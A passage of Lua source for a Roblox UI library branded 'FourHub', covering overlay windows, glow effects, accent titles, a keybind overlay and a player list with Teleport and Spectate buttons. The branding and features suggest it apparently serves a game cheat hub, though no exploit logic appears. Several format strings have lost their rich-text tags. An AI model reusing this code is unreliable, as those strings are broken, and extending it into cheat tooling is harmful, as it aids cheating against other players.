Library:UpdateScrollBars(); if Library.LastWatermarkText and Library.WatermarkText then Library:SetAccentTitle(Library.WatermarkText, Library.LastWatermarkText, Library.WatermarkAccentPart or '.lol'); end; for _, overlay in next, Library.Overlays do if overlay.UpdateTitle then overlay.UpdateTitle(); end; end; Library:UpdateAllGradientTexts(); Library:UpdateAllAccentTitles(); Library:UpdateFooter(); Library:RefreshThemedControls(); Library:UpdateOverlayGlows(); Library.ThemeUpdating = false; end; function Library:CreateOverlayGlowLayers(Parent, ZIndex) local Layers = {}; local Thickness = 8; local InnerTransparency = 0.42; local CornerSpan = Thickness * 2; local Holder = Library:Create('Frame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = false; Size = UDim2.fromScale(1, 1); Position = UDim2.fromScale(0, 0); Visible = Library.OverlayGlowEnabled; ZIndex = math.max((ZIndex or 1) - 2, 0); Parent = Parent; }); table.insert(Layers, Holder); local function OutwardFade(FromEdge) local Inner = InnerTransparency; if FromEdge then return NumberSequence.new({ NumberSequenceKeypoint.new(0, Inner); NumberSequenceKeypoint.new(0.3, 0.58); NumberSequenceKeypoint.new(0.65, 0.78); NumberSequenceKeypoint.new(1, 1); }); end; return NumberSequence.new({ NumberSequenceKeypoint.new(0, 1); NumberSequenceKeypoint.new(0.35, 0.78); NumberSequenceKeypoint.new(0.7, 0.58); NumberSequenceKeypoint.new(1, Inner); }); end; local function AddEdge(Size, Position, GradientRotation, FromEdge) local Edge = Library:Create('Frame', { BackgroundColor3 = Library.OverlayGlowColor; BorderSizePixel = 0; Position = Position; Size = Size; ZIndex = Holder.ZIndex; Parent = Holder; }); Library:Create('UIGradient', { Rotation = GradientRotation; Color = ColorSequence.new(Library.OverlayGlowColor); Transparency = OutwardFade(FromEdge); Parent = Edge; }); Library:AddToRegistry(Edge, { BackgroundColor3 = 'OverlayGlowColor'; }, true); table.insert(Layers, Edge); end; local function AddQuarterCorner(ClipAnchor, ClipPosition, CircleAnchor, GradientRotation) local Clip = Library:Create('Frame', { AnchorPoint = ClipAnchor; BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Position = ClipPosition; Size = UDim2.fromOffset(Thickness, Thickness); ZIndex = Holder.ZIndex; Parent = Holder; }); local OffsetX = CircleAnchor.X == 1 and Thickness or -Thickness; local OffsetY = CircleAnchor.Y == 1 and Thickness or -Thickness; local Circle = Library:Create('Frame', { AnchorPoint = CircleAnchor; BackgroundColor3 = Library.OverlayGlowColor; BorderSizePixel = 0; Position = UDim2.new(CircleAnchor.X, OffsetX, CircleAnchor.Y, OffsetY); Size = UDim2.fromOffset(CornerSpan, CornerSpan); ZIndex = Holder.ZIndex; Parent = Clip; }); Library:Create('UICorner', { CornerRadius = UDim.new(1, 0); Parent = Circle; }); Library:Create('UIGradient', { Rotation = GradientRotation; Color = ColorSequence.new(Library.OverlayGlowColor); Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, InnerTransparency); NumberSequenceKeypoint.new(0.35, 0.55); NumberSequenceKeypoint.new(0.65, 0.78); NumberSequenceKeypoint.new(1, 1); }); Parent = Circle; }); Library:AddToRegistry(Circle, { BackgroundColor3 = 'OverlayGlowColor'; }, true); table.insert(Layers, Clip); table.insert(Layers, Circle); end; AddEdge(UDim2.new(1, 0, 0, Thickness), UDim2.new(0, 0, 0, -Thickness), 270, true); AddEdge(UDim2.new(1, 0, 0, Thickness), UDim2.new(0, 0, 1, 0), 270, false); AddEdge(UDim2.new(0, Thickness, 1, 0), UDim2.new(0, -Thickness, 0, 0), 0, false); AddEdge(UDim2.new(0, Thickness, 1, 0), UDim2.new(1, 0, 0, 0), 0, true); AddQuarterCorner(Vector2.new(1, 1), UDim2.new(0, 0, 0, 0), Vector2.new(1, 1), 225); AddQuarterCorner(Vector2.new(0, 1), UDim2.new(1, 0, 0, 0), Vector2.new(0, 1), 315); AddQuarterCorner(Vector2.new(1, 0), UDim2.new(0, 0, 1, 0), Vector2.new(1, 0), 135); AddQuarterCorner(Vector2.new(0, 0), UDim2.new(1, 0, 1, 0), Vector2.new(0, 0), 45); return Layers; end; function Library:UpdateOverlayGlow(Overlay) if not Overlay or not Overlay.GlowLayers then return end; local Visible; if Overlay == Library.MainWindow then Visible = Library.OverlayGlowEnabled and Overlay.Outer and Overlay.Outer.Visible; else Visible = Overlay.Visible ~= false and Library.OverlayGlowEnabled; end; local GlowColor = Library.OverlayGlowColor; local ColorSequenceValue = ColorSequence.new(GlowColor); for _, Layer in Overlay.GlowLayers do Layer.Visible = Visible; if Layer:IsA('Frame') then local Gradient = Layer:FindFirstChildOfClass('UIGradient'); if Gradient then Layer.BackgroundColor3 = GlowColor; Gradient.Color = ColorSequenceValue; end; end; end; end; function Library:UpdateOverlayGlows() for _, Overlay in Library.Overlays do Library:UpdateOverlayGlow(Overlay); end; if Library.MainWindow then Library:UpdateOverlayGlow(Library.MainWindow); end; end; function Library:SetOverlayGlowEnabled(Enabled) Library.OverlayGlowEnabled = not not Enabled; Library:UpdateOverlayGlows(); end; function Library:SetOverlayGlowColor(Color) Library.OverlayGlowColor = Color; Library:UpdateOverlayGlows(); end; function Library:GetGradientSequence() local White = Color3.new(1, 1, 1); local Accent = Library.AccentColor; return ColorSequence.new({ ColorSequenceKeypoint.new(0, White), ColorSequenceKeypoint.new(0.35, White:Lerp(Accent, 0.4)), ColorSequenceKeypoint.new(0.65, White:Lerp(Accent, 0.75)), ColorSequenceKeypoint.new(1, Accent), }); end; function Library:RegisterGradientLabel(Label) for _, existing in next, Library.GradientLabels do if existing == Label then return end; end; table.insert(Library.GradientLabels, Label); end; function Library:SetGradientText(Label, Text) if not Label then return end; for idx = #Library.AccentTitleLabels, 1, -1 do if Library.AccentTitleLabels[idx].Label == Label then table.remove(Library.AccentTitleLabels, idx); end; end; Label.RichText = false; Label.Text = Text or ''; Label.TextColor3 = Color3.new(1, 1, 1); local gradient = Label:FindFirstChild('FourHubTextGradient'); if not gradient then gradient = Library:Create('UIGradient', { Name = 'FourHubTextGradient'; Parent = Label; }); Library:RegisterGradientLabel(Label); end; gradient.Color = Library:GetGradientSequence(); gradient.Rotation = 0; end; function Library:UpdateAllGradientTexts() local sequence = Library:GetGradientSequence(); for idx = #Library.GradientLabels, 1, -1 do local label = Library.GradientLabels[idx]; if not label or not label.Parent then table.remove(Library.GradientLabels, idx); else local gradient = label:FindFirstChild('FourHubTextGradient'); if gradient then gradient.Color = sequence; end; end; end; end; function Library:FormatAccentTitle(Title, AccentPart) Title = Title or ''; AccentPart = AccentPart or ''; if AccentPart == '' or not string.find(Title, AccentPart, 1, true) then return Title; end; local startIndex = string.find(Title, AccentPart, 1, true); local before = string.sub(Title, 1, startIndex - 1); local after = string.sub(Title, startIndex + #AccentPart); local accentHex = Library.AccentColor:ToHex(); return string.format( '%s%s%s', before, accentHex, AccentPart, after ); end; function Library:RegisterAccentTitleLabel(Label, Title, AccentPart) for _, entry in next, Library.AccentTitleLabels do if entry.Label == Label then entry.Title = Title; entry.AccentPart = AccentPart; return end; end; table.insert(Library.AccentTitleLabels, { Label = Label; Title = Title; AccentPart = AccentPart; }); end; function Library:SetAccentTitle(Label, Title, AccentPart) if not Label then return end; Title = Title or ''; AccentPart = AccentPart or ''; local gradient = Label:FindFirstChild('FourHubTextGradient'); if gradient then gradient:Destroy(); end; for idx = #Library.GradientLabels, 1, -1 do if Library.GradientLabels[idx] == Label then table.remove(Library.GradientLabels, idx); end; end; Label.RichText = true; Label.TextColor3 = Color3.new(1, 1, 1); Label.Text = Library:FormatAccentTitle(Title, AccentPart); Library:RegisterAccentTitleLabel(Label, Title, AccentPart); end; function Library:UpdateAllAccentTitles() for idx = #Library.AccentTitleLabels, 1, -1 do local entry = Library.AccentTitleLabels[idx]; if not entry.Label or not entry.Label.Parent then table.remove(Library.AccentTitleLabels, idx); else entry.Label.RichText = true; entry.Label.Text = Library:FormatAccentTitle(entry.Title, entry.AccentPart); end; end; end; function Library:ApplyPopupZIndex(Root, OriginZIndex) if not Root then return Library:GetPopupZIndex(0); end; local base = Library:GetPopupZIndex(0); OriginZIndex = OriginZIndex or Root.ZIndex or 15; local cache = Library.PopupZIndexCache[Root]; if not cache then cache = { OriginZ = OriginZIndex; OriginalZ = {}; }; Library.PopupZIndexCache[Root] = cache; else cache.OriginZ = OriginZIndex; end; local delta = base - cache.OriginZ; local function Apply(instance) if not instance:IsA('GuiObject') then return end; if cache.OriginalZ[instance] == nil then cache.OriginalZ[instance] = instance.ZIndex; end; instance.ZIndex = cache.OriginalZ[instance] + delta; end; Apply(Root); for _, descendant in Root:GetDescendants() do Apply(descendant); end; return base; end; function Library:CreateTabBottomGlow(Parent, Options) Options = Options or {}; local GlowHeight = Options.GlowHeight or 18; local LineHeight = Options.LineHeight or 2; local ZIndex = Options.ZIndex or 1; local TabGlow = Library:Create('Frame', { AnchorPoint = Vector2.new(0, 1); BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 1, 0); Size = UDim2.new(1, 0, 0, GlowHeight); Visible = false; ZIndex = ZIndex; Parent = Parent; }); Library:AddToRegistry(TabGlow, { BackgroundColor3 = 'AccentColor'; }); Library:Create('UIGradient', { Rotation = 90; Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.38); NumberSequenceKeypoint.new(0.3, 0.62); NumberSequenceKeypoint.new(0.65, 0.86); NumberSequenceKeypoint.new(1, 1); }); Parent = TabGlow; }); local TabLine = Library:Create('Frame', { AnchorPoint = Vector2.new(0, 1); BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 1, 0); Size = UDim2.new(1, 0, 0, LineHeight); Visible = false; ZIndex = ZIndex + 2; Parent = Parent; }); Library:AddToRegistry(TabLine, { BackgroundColor3 = 'AccentColor'; }); return TabGlow, TabLine; end; function Library:SetTabGlowVisible(TabGlow, TabLine, Visible) if TabGlow then TabGlow.Visible = Visible; end; if TabLine then TabLine.Visible = Visible; end; end; function Library:ApplyWindowShadow() end; function Library:LinkWindowShadow() end; function Library:LinkWindowShadow() end; function Library:UpdateMenuBlur() local lighting = game:GetService('Lighting'); local blur = lighting:FindFirstChild('FourHubMenuBlur'); local enabled = Toggles and Toggles.MenuBlurToggle and Toggles.MenuBlurToggle.Value; local shouldBlur = enabled and Library.MenuOpen; if shouldBlur then if not blur then blur = Instance.new('BlurEffect'); blur.Name = 'FourHubMenuBlur'; blur.Size = 12; blur.Parent = lighting; end; elseif blur then blur:Destroy(); end; end; function Library:UpdateFooter() if not Library.FooterLeft or not Library.FooterRight then return end; local username = Library.AnonymousMode and 'anonymous' or LocalPlayer.Name; local placeName = Library.PlaceName or 'Baseplate'; local greyHex = '828282'; local accentHex = Library.AccentColor:ToHex(); Library.FooterLeft.RichText = true; Library.FooterLeft.TextTransparency = 0; Library.FooterLeft.Text = string.format( 'welcome back, %s', greyHex, accentHex, username ); Library.FooterRight.RichText = true; Library.FooterRight.TextTransparency = 0; Library.FooterRight.Text = string.format( '[ %s ]', greyHex, accentHex, placeName, greyHex ); end; function Library:GetKeybindRowZBase() if Library.KeybindOverlay and Library.KeybindOverlay.Outer then return Library.KeybindOverlay.Outer.ZIndex + 12; end; return 225; end; function Library:GetPopupZIndex(Offset) Offset = Offset or 0; local Z = 250 + Offset; if Library.KeybindOverlay and Library.KeybindOverlay.ZIndexBase then Z = math.max(Z, Library.KeybindOverlay.ZIndexBase + 50 + Offset); end; for _, Overlay in Library.Overlays do if Overlay and Overlay.ZIndexBase then Z = math.max(Z, Overlay.ZIndexBase + 50 + Offset); end; end; return Z; end; function Library:SyncKeybindRowsZIndex() if not Library.KeybindContainer then return end; local base = Library:GetKeybindRowZBase(); for _, row in Library.KeybindContainer:GetChildren() do if row:IsA('Frame') then row.ZIndex = base; for _, child in row:GetChildren() do if child:IsA('TextLabel') then child.ZIndex = base + 3; child.TextTransparency = 0; elseif child:IsA('Frame') then child.ZIndex = base + 3; local valueLabel = child:FindFirstChildWhichIsA('TextLabel'); if valueLabel then valueLabel.ZIndex = base + 5; valueLabel.TextTransparency = 0; valueLabel.TextColor3 = Color3.new(1, 1, 1); end; end; end; end; end; Library.KeybindContainer.ZIndex = base; end; function Library:UpdateKeybindOverlaySize() if not Library.KeybindContainer or Library._UpdatingKeybindOverlaySize then return end; Library._UpdatingKeybindOverlaySize = true; Library:SyncKeybindRowsZIndex(); local rowHeight = 0; local maxWidth = 170; local activeCount = 0; for _, row in Library.KeybindContainer:GetChildren() do if row:IsA('Frame') and row.Visible then activeCount += 1; rowHeight += 24; local nameLabel = row:FindFirstChildWhichIsA('TextLabel'); local keyBox = row:FindFirstChildWhichIsA('Frame'); if nameLabel and keyBox then local valueLabel = keyBox:FindFirstChildWhichIsA('TextLabel'); local keyText = valueLabel and valueLabel.Text or ''; local rowWidth = Library:GetTextBounds(nameLabel.Text, Library.Font, 13) + Library:GetTextBounds(keyText, Library.Font, 12) + 28; maxWidth = math.max(maxWidth, rowWidth); end; end; end; local compact = activeCount == 0; Library.KeybindOverlayCompact = compact; if compact then rowHeight = 0; else rowHeight = math.max(rowHeight, 22); end; local contentHeight = compact and 0 or math.max(rowHeight + 8, 22); Library.KeybindContainer.Size = UDim2.new(1, -12, 0, rowHeight); if Library.KeybindOverlay and Library.KeybindOverlay.Outer then local overlay = Library.KeybindOverlay; local overlayWidth = math.max(maxWidth + 24, 196); local targetSize; if overlay.ContentOuter then overlay.ContentOuter.Visible = not compact; overlay.ContentOuter.Size = UDim2.new(1, -12, 0, contentHeight); end; if overlay.ContentInner then overlay.ContentInner.Size = UDim2.new(1, -2, 1, -2); end; if overlay.Container then overlay.Container.Visible = false; end; if compact then targetSize = UDim2.fromOffset(overlayWidth, 32); else targetSize = UDim2.fromOffset(overlayWidth, 26 + contentHeight + 6); end; if Library.KeybindOverlayTween then Library.KeybindOverlayTween:Cancel(); end; Library.KeybindOverlayTween = TweenService:Create(overlay.Outer, TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = targetSize, }); Library.KeybindOverlayTween:Play(); end; Library._UpdatingKeybindOverlaySize = false; end; function Library:GetUIScaleFactor(Instance) local current = Instance; while current and current ~= ScreenGui do local scale = current:FindFirstChildOfClass('UIScale'); if scale then return scale.Scale; end; current = current.Parent; end; return 1; end; function Library:UpdateShadows() end; function Library:UpdateScrollBars() for _, desc in ScreenGui:GetDescendants() do if desc:IsA('ScrollingFrame') then desc.ScrollBarImageColor3 = Library.AccentColor; end; end; end; function Library:SetAllCloseEnabled(Enabled) Library.AllCloseOverlays = not not Enabled; if Library.AllCloseOverlays then Library:SyncOverlaysWithMenu(Library.MenuOpen); end; end; function Library:SyncOverlaysWithMenu(MenuVisible) for _, overlay in Library.Overlays do if overlay.SetVisible then if MenuVisible then if Library.AllCloseOverlays then overlay:SetVisible(true); end; else overlay:SetVisible(false); end; elseif overlay.Outer then if MenuVisible then if Library.AllCloseOverlays then overlay.Outer.Visible = true; overlay.Visible = true; end; else overlay.Outer.Visible = false; overlay.Visible = false; end; end; end; end; function Library:BindHoldButton(Button, StepCallback) if not Button or not StepCallback then return end; local holding = false; local function stop() holding = false; Library:StopSliderSound(); end; Button.MouseButton1Down:Connect(function() holding = true; StepCallback(); task.spawn(function() task.wait(0.35); while holding and Button.Parent do StepCallback(); task.wait(0.06); end; end); end); Button.MouseButton1Up:Connect(stop); Button.MouseLeave:Connect(stop); end; function Library:CreateOverlayWindow(Config) Config = Config or {}; local Title = Config.Title or 'Overlay'; local Size = typeof(Config.Size) == 'UDim2' and Config.Size or UDim2.fromOffset(260, 300); local Position = typeof(Config.Position) == 'UDim2' and Config.Position or UDim2.fromOffset(100, 100); local ZIndex = Config.ZIndex or 150; local Visible = Config.Visible == true; local AccentPart = Config.AccentPart; local ZIndexBase = ZIndex + 10; local PreviousOverlayBase = Library.OverlayZIndexBase; Library.OverlayZIndexBase = ZIndexBase; local Overlay = { Visible = Visible; Tabs = {}; Groupboxes = {}; ZIndexBase = ZIndexBase; }; local Outer = Library:Create('Frame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = false; Position = Position; Size = Size; Visible = Visible; ZIndex = ZIndex; Parent = ScreenGui; }); local OverlayScaleFactor = 1; if IsTouchDevice then OverlayScaleFactor = Library.MobileOverlayScale or 0.55; Library:Create('UIScale', { Scale = OverlayScaleFactor; Parent = Outer; }); task.delay(0.1, function() if not Outer.Parent then return end; local screen = ScreenGui.AbsoluteSize; if screen.X <= 0 or screen.Y <= 0 then return end; local maxX = math.max(screen.X - Outer.AbsoluteSize.X, 0); local maxY = math.max(screen.Y - Outer.AbsoluteSize.Y, 0); local x = math.clamp(Outer.Position.X.Offset, 0, maxX); local y = math.clamp(Outer.Position.Y.Offset, 0, maxY); if x ~= Outer.Position.X.Offset or y ~= Outer.Position.Y.Offset then Outer.Position = UDim2.fromOffset(x, y); end; end); end; Overlay.GlowLayers = nil; local Inner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderSizePixel = 0; ClipsDescendants = false; Size = UDim2.new(1, 0, 1, 0); ZIndex = ZIndex + 1; Parent = Outer; }); Library:AddToRegistry(Inner, { BackgroundColor3 = 'MainColor' }); Overlay.GlowLayers = Library:CreateOverlayGlowLayers(Inner, ZIndex); local TopAccent = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 2); ZIndex = ZIndex + 5; Parent = Inner; }); Library:AddToRegistry(TopAccent, { BackgroundColor3 = 'AccentColor' }); local TitleLabel = Library:CreateLabel({ Position = UDim2.new(0, 8, 0, 4); Size = UDim2.new(1, -16, 0, 20); TextSize = 14; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = ZIndex + 2; Parent = Inner; }); local function UpdateOverlayTitle() if AccentPart and AccentPart ~= '' then Library:SetAccentTitle(TitleLabel, Title, AccentPart); else Library:SetGradientText(TitleLabel, Title); end; end; local ContentOuter = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; ClipsDescendants = true; Position = UDim2.new(0, 6, 0, 26); Size = UDim2.new(1, -12, 0, 0); ZIndex = ZIndex + 1; Parent = Inner; }); Library:AddToRegistry(ContentOuter, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local ContentInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderSizePixel = 0; Position = UDim2.new(0, 1, 0, 1); Size = UDim2.new(1, -2, 1, -2); ZIndex = ZIndex + 2; Parent = ContentOuter; }); Library:AddToRegistry(ContentInner, { BackgroundColor3 = 'BackgroundColor' }); local Container = Library:Create('ScrollingFrame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Position = UDim2.new(0, 4, 0, 4); Size = UDim2.new(1, -8, 1, -8); CanvasSize = UDim2.new(0, 0, 0, 0); ScrollBarThickness = 3; ScrollBarImageColor3 = Library.AccentColor; BottomImage = ''; TopImage = ''; ZIndex = ZIndex + 3; Parent = ContentInner; }); Library:AddToRegistry(Container, { ScrollBarImageColor3 = 'AccentColor'; }); Library:Create('UIListLayout', { Padding = UDim.new(0, 6); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = Container; }); Container:WaitForChild('UIListLayout'):GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() if Overlay.Resize then Overlay:Resize(); end; end); function Overlay:Resize() local listLayout = Container:FindFirstChildOfClass('UIListLayout'); if not listLayout then return end; local contentH = math.ceil(listLayout.AbsoluteContentSize.Y / OverlayScaleFactor); if contentH <= 0 then return end; local chromeTop = 26; local chromeBottom = 6; local containerPadding = 8; local width = Outer.Size.X.Offset; Container.Size = UDim2.new(1, -8, 0, contentH); Container.CanvasSize = UDim2.fromOffset(0, contentH); ContentOuter.Size = UDim2.new(1, -12, 0, contentH + containerPadding); local height = chromeTop + contentH + containerPadding + chromeBottom; Outer.Size = UDim2.fromOffset(width, math.max(height, 56)); end; Library:MakeDraggable(Outer, 28); function Overlay:SetVisible(Bool) Overlay.Visible = not not Bool; Outer.Visible = Overlay.Visible; Library:UpdateOverlayGlow(Overlay); end; function Overlay:Show() Overlay:SetVisible(true); end; function Overlay:Hide() Overlay:SetVisible(false); end; function Overlay:Toggle() Overlay:SetVisible(not Overlay.Visible); end; function Overlay:SetTitle(NewTitle, NewAccentPart) Title = NewTitle or Title; AccentPart = NewAccentPart or AccentPart; UpdateOverlayTitle(); end; function Overlay:AddGroupbox(Info) local Groupbox = {}; local boxName = Info.Name or 'Section'; local BoxOuter = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, -4, 0, 0); ZIndex = ZIndex + 4; Parent = Container; }); Library:AddToRegistry(BoxOuter, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local BoxInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderSizePixel = 0; Size = UDim2.new(1, -2, 1, -2); Position = UDim2.new(0, 1, 0, 1); ZIndex = ZIndex + 5; Parent = BoxOuter; }); Library:AddToRegistry(BoxInner, { BackgroundColor3 = 'BackgroundColor' }); local Highlight = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 1); ZIndex = ZIndex + 6; Parent = BoxInner; }); Library:AddToRegistry(Highlight, { BackgroundColor3 = 'AccentColor' }); Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 16); Position = UDim2.new(0, 4, 0, 2); TextSize = 13; Text = boxName; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = ZIndex + 6; Parent = BoxInner; }); local GroupContainer = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, 6, 0, 18); Size = UDim2.new(1, -10, 0, 0); ZIndex = ZIndex + 5; Parent = BoxInner; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = GroupContainer; }); local GroupListLayout = GroupContainer:FindFirstChildOfClass('UIListLayout'); if GroupListLayout then GroupListLayout:GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() Groupbox:Resize(); end); end; function Groupbox:Resize() local listLayout = GroupContainer:FindFirstChildOfClass('UIListLayout'); local SizeY = listLayout and math.ceil(listLayout.AbsoluteContentSize.Y / OverlayScaleFactor) or 0; GroupContainer.Size = UDim2.new(1, -10, 0, SizeY); BoxOuter.Size = UDim2.new(1, -4, 0, 18 + SizeY + 4); task.defer(function() if Overlay.Resize then Overlay:Resize(); end; end); end; Groupbox.Container = GroupContainer; Groupbox.ContentBaseZIndex = ZIndex + 10; setmetatable(Groupbox, BaseGroupbox); Groupbox:AddBlank(3); Groupbox:Resize(); Overlay.Groupboxes[boxName] = Groupbox; return Groupbox; end; Overlay.Outer = Outer; Overlay.Inner = Inner; Overlay.Container = Container; Overlay.ContentOuter = ContentOuter; Overlay.ContentInner = ContentInner; Overlay.TitleLabel = TitleLabel; Overlay.UpdateTitle = UpdateOverlayTitle; UpdateOverlayTitle(); table.insert(Library.Overlays, Overlay); task.defer(function() Overlay:Resize(); end); Library.OverlayZIndexBase = PreviousOverlayBase; return Overlay; end; function Library:CreateOverlayOpener(Items, ParentContainer, Groupbox) local Opener = {}; local ContentZ = (Groupbox and Groupbox.ContentBaseZIndex or 10); local List = Library:Create('Frame', { BackgroundTransparency = 1; AutomaticSize = Enum.AutomaticSize.Y; Size = UDim2.new(1, 0, 0, 0); ZIndex = ContentZ + 6; Parent = ParentContainer; }); local OpenerLayout = Library:Create('UIListLayout', { Padding = UDim.new(0, 4); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = List; }); for _, item in next, Items do local Row = Library:Create('TextButton', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; AutoButtonColor = false; Size = UDim2.new(1, -4, 0, 22); Text = ''; ZIndex = ContentZ + 7; Parent = List; }); Library:AddToRegistry(Row, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local displayText = item.Text or item.Name or 'Open'; local RowLabel = Library:CreateLabel({ Size = UDim2.new(1, -8, 1, 0); Position = UDim2.new(0, 6, 0, 0); Text = displayText; TextSize = 13; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = ContentZ + 8; Parent = Row; }); Library:SetGradientText(RowLabel, displayText); Library:OnHighlight(Row, Row, { BackgroundColor3 = 'SelectedTabColor', BorderColor3 = 'AccentColor' }, { BackgroundColor3 = 'MainColor', BorderColor3 = 'OutlineColor' } ); Row.MouseButton1Click:Connect(function() if item.Overlay and item.Overlay.Toggle then item.Overlay:Toggle(); elseif type(item.Callback) == 'function' then Library:SafeCallback(item.Callback); end; end); end; Opener.Frame = List; if Groupbox and Groupbox.Resize then Groupbox:Resize(); OpenerLayout:GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() Groupbox:Resize(); end); task.defer(function() Groupbox:Resize(); end); end; return Opener; end; function Library:CreatePlayerListOverlay(Config) Config = Config or {}; local Overlay = Library:CreateOverlayWindow({ Title = 'Player List'; AccentPart = 'List'; Size = UDim2.fromOffset(320, 392); Position = Config.Position or UDim2.fromOffset(40, 80); Visible = Config.Visible; ZIndex = Config.ZIndex or 160; }); local Groupbox = Overlay:AddGroupbox({ Name = 'Players' }); local PZ = Overlay.ZIndexBase + 15; Groupbox:AddInput('PlayerListSearch', { Text = 'Search'; NoLabel = true; Default = ''; Placeholder = 'Search...'; Finished = false; ClearOnFocus = false; }); local ListHolder = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, -4, 0, 220); ClipsDescendants = true; ZIndex = PZ; Parent = Groupbox.Container; }); Library:AddToRegistry(ListHolder, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local PlayerScroll = Library:Create('ScrollingFrame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Size = UDim2.new(1, 0, 1, 0); CanvasSize = UDim2.new(0, 0, 0, 0); ScrollBarThickness = 3; ScrollBarImageColor3 = Library.AccentColor; BottomImage = ''; TopImage = ''; ZIndex = PZ + 1; Parent = ListHolder; }); Library:AddToRegistry(PlayerScroll, { ScrollBarImageColor3 = 'AccentColor'; }); Library:Create('UIListLayout', { Padding = UDim.new(0, 4); SortOrder = Enum.SortOrder.LayoutOrder; HorizontalAlignment = Enum.HorizontalAlignment.Center; Parent = PlayerScroll; }); local SelectedPanel = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, -4, 0, 82); ClipsDescendants = true; ZIndex = PZ; Parent = Groupbox.Container; }); Library:AddToRegistry(SelectedPanel, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local Avatar = Library:Create('ImageLabel', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; Position = UDim2.new(0, 8, 0, 6); Size = UDim2.fromOffset(64, 64); ZIndex = PZ + 1; Parent = SelectedPanel; }); Library:AddToRegistry(Avatar, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local TeleportBtn = Library:Create('TextButton', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(0, 80, 0, 6); Size = UDim2.fromOffset(88, 28); Text = 'Teleport'; TextColor3 = Library.FontColor; TextSize = 13; AutoButtonColor = false; ZIndex = PZ + 1; Parent = SelectedPanel; }); Library:AddToRegistry(TeleportBtn, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; TextColor3 = 'FontColor'; }); local SpectateBtn = Library:Create('TextButton', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(0, 80, 0, 38); Size = UDim2.fromOffset(88, 28); Text = 'Spectate'; TextColor3 = Library.FontColor; TextSize = 13; AutoButtonColor = false; ZIndex = PZ + 1; Parent = SelectedPanel; }); Library:AddToRegistry(SpectateBtn, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; TextColor3 = 'FontColor'; }); local SelectedName = Library:CreateLabel({ Position = UDim2.new(0, 176, 0, 6); Size = UDim2.new(1, -182, 0, 16); Text = 'No player selected'; TextSize = 13; TextTruncate = Enum.TextTruncate.AtEnd; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = PZ + 2; Parent = SelectedPanel; }); Groupbox:AddDropdown('PlayerListStatus', { Values = { 'Enemy', 'Friendly', 'Neutral' }; Default = 1; }); if Options.PlayerListStatus and Options.PlayerListStatus.Outer then local StatusOuter = Options.PlayerListStatus.Outer; StatusOuter.Parent = SelectedPanel; StatusOuter.Position = UDim2.new(0, 176, 0, 28); StatusOuter.Size = UDim2.new(1, -182, 0, 20); StatusOuter.ZIndex = PZ + 2; end; Groupbox:Resize(); local selectedPlayer; local playerButtons = {}; local enemyPlayers = {}; local clientGrey = Color3.fromRGB(140, 140, 140); local enemyRed = Color3.fromRGB(255, 80, 80); local statusUpdating = false; local function SelectPlayer(player) selectedPlayer = player; if player then SelectedName.Text = player.Name; if enemyPlayers[player] then SelectedName.TextColor3 = enemyRed; elseif player == LocalPlayer then SelectedName.TextColor3 = clientGrey; else SelectedName.TextColor3 = Library.FontColor; end; if 